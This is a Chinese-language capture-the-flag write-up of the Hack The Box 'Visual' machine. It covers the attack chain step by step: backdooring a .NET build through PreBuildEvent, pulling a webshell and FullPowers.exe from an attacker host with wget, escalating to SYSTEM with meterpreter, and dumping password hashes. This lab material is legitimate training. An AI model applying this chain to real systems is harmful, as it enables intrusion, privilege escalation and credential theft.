基本信息
- https://app.hackthebox.com/machines/Visual
- 10.10.11.234

端口扫描
只有一个80:
1 | nmap -sC -sV -Pn 10.10.11.234 |
80
页面就一个提交git repo url的功能,根据页面描述,会自动下载后编译C#项目:

visual
先简单测试,根据请求信息可以看出目标机器是先git clone,所以后面需要托管git,并且报错信息也可以确认是需要sln:

basic sln
先使用正常的项目进行测试,创建测试项目,根据网页信息,使用.net 6.0版本,并且因为需要git repo,所以也进行git操作:
1 | dotnet new sln -n miao |
然后托管,可以使用简单的server,git支持这种操作:
- Git - git-update-server-info Documentation
https://git-scm.com/docs/git-update-server-info
1 | cd .git |
提交测试,编译成功:


PreBuildEvent
这种场景,可以通过一些event来执行命令,例如直接在作者博客就能找到PreBuildEvent方法:
- Exploring Backdooring Techniques in Visual Studio Projects - Enox Cyber Insights
https://enox.zip/Windows/Exploring+Backdooring+Techniques+in+Visual+Studio+Projects
执行命令得到reverse shell:


user flag
enox用户桌面得到user flag:

webshell
因为是windows机器,web服务一般是通过service账号运行的,所以尝试写一个webshell查看权限,确认是local service:
1 | PS C:\xampp\htdocs> wget http://10.10.16.10:7778/shell.php -O shell.php |

但当前service并没有正常service该有的SeImpersonate 权限:

FullPowers
搜索可以找到解决方法:
- itm4n/FullPowers: Recover the default privilege set of a LOCAL/NETWORK SERVICE account
https://github.com/itm4n/FullPowers
1 | PS C:\xampp\htdocs> wget http://10.10.16.10:7778/FullPowers.exe -O FullPowers.exe |
执行后拿回了该有的SeImpersonate:

service to system
然后就是常规的service to system,msf自带的getsystem自动不成功,但可以手动指定使用的技术:

root flag
Administrator桌面:

hashdump
1 | meterpreter > hashdump |
参考资料
- Git - git-update-server-info Documentation
https://git-scm.com/docs/git-update-server-info - Exploring Backdooring Techniques in Visual Studio Projects - Enox Cyber Insights
https://enox.zip/Windows/Exploring+Backdooring+Techniques+in+Visual+Studio+Projects - itm4n/FullPowers: Recover the default privilege set of a LOCAL/NETWORK SERVICE account
https://github.com/itm4n/FullPowers